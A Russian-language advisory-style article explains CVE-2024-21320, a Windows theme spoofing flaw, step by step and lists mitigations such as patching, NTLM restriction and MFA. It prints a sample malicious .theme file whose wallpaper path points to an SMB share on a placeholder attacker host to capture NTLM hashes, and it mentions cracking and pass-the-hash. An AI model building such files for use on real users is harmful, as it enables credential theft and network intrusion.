CVE-2024-21320: Уязвимость спуфинга в темах Windows и кража NTLM-хешей

CVE-2024-21320 – это уязвимость, связанная с подменой тем в Windows, которая позволяет злоумышленникам перехватывать NTLM-хеши пользователей. Эта уязвимость возникает из-за недостаточной проверки путей к файлам, указанным в файлах тем Windows (.theme).

Как работает уязвимость:

1. Создание вредоносной темы: Злоумышленник создает специально разработанный файл темы Windows (.theme), который содержит ссылку на удаленный ресурс, контролируемый злоумышленником, например, SMB-сервер. Эта ссылка может быть встроена в качестве пути к обоям рабочего стола, экранной заставке или другим элементам темы.

2. Распространение вредоносной темы: Злоумышленник распространяет этот вредоносный файл темы среди потенциальных жертв. Это можно сделать через электронную почту, веб-сайты или другие каналы.

3. Активация темы жертвой: Когда жертва открывает и применяет вредоносную тему, Windows пытается получить доступ к удаленному ресурсу, указанному в файле темы.

4. Передача NTLM-хеша: При попытке доступа к SMB-серверу Windows автоматически отправляет NTLM-хеш пользователя на этот сервер для аутентификации.

5. Перехват NTLM-хеша: Злоумышленник, контролирующий SMB-сервер, перехватывает NTLM-хеш пользователя.

6. Взлом NTLM-хеша: Злоумышленник может попытаться взломать перехваченный NTLM-хеш, используя методы перебора или радужные таблицы, чтобы получить пароль пользователя. Даже если хеш не удастся взломать, он может быть использован для атак типа "pass-the-hash" для получения доступа к другим ресурсам в сети.

Пример вредоносного .theme файла:

[Theme]
DisplayName=Security Update Theme

[Control Panel\Desktop]
Wallpaper=\\\\attacker_ip\\share\\malicious.jpg

[VisualStyles]
Path=%SystemRoot%\\resources\\Themes\\Aero\\Aero.msstyles
ColorStyle=NormalColor
Size=NormalSize

В этом примере attacker_ip – это IP-адрес SMB-сервера, контролируемого злоумышленником. Когда пользователь применяет эту тему, Windows попытается загрузить изображение malicious.jpg с этого сервера, отправляя NTLM-хеш пользователя в процессе.

Как защитить себя и своих пользователей:

• Установите последние обновления безопасности Windows: Microsoft выпустила исправление для этой уязвимости. Установка последних обновлений безопасности закроет эту брешь.
• Будьте осторожны с файлами тем из ненадежных источников: Не открывайте и не применяйте файлы тем, полученные из неизвестных или ненадежных источников. Лучше использовать только встроенные в оригинальный дистрибутив темы.
• Отключите автоматическую отправку NTLM-хешей: Можно настроить Windows так, чтобы она не отправляла NTLM-хеши автоматически при доступе к сетевым ресурсам. Это можно сделать через групповые политики или реестр.
• Используйте надежные пароли: Использование сложных и уникальных паролей затруднит взлом NTLM-хешей, даже если они будут перехвачены.
• Включите многофакторную аутентификацию (MFA): MFA добавляет дополнительный уровень защиты, требуя от пользователей подтверждения своей личности с помощью второго фактора, такого как код, отправленный на телефон.
• Мониторинг сетевого трафика: Мониторинг сетевого трафика может помочь обнаружить попытки эксплуатации этой уязвимости. Обратите внимание на необычные подключения к SMB-серверам или передачу NTLM-хешей.
• Используйте инструменты для обнаружения и предотвращения вторжений (IDS/IPS): IDS/IPS могут помочь обнаружить и блокировать вредоносные файлы тем или попытки эксплуатации уязвимости.

Дополнительные меры предосторожности:

• Обучите пользователей: Обучите пользователей распознавать и избегать подозрительные файлы и ссылки.
• Используйте антивирусное программное обеспечение: Антивирусное программное обеспечение может помочь обнаружить и блокировать вредоносные файлы тем.
• Регулярно проводите аудит безопасности: Регулярный аудит безопасности поможет выявить и устранить потенциальные уязвимости в вашей системе.

В заключение:

Уязвимость CVE-2024-21320 представляет серьезную угрозу для безопасности Windows. Следуя приведенным выше рекомендациям, вы можете значительно снизить риск эксплуатации этой уязвимости и защитить себя и своих пользователей от кражи учетных данных.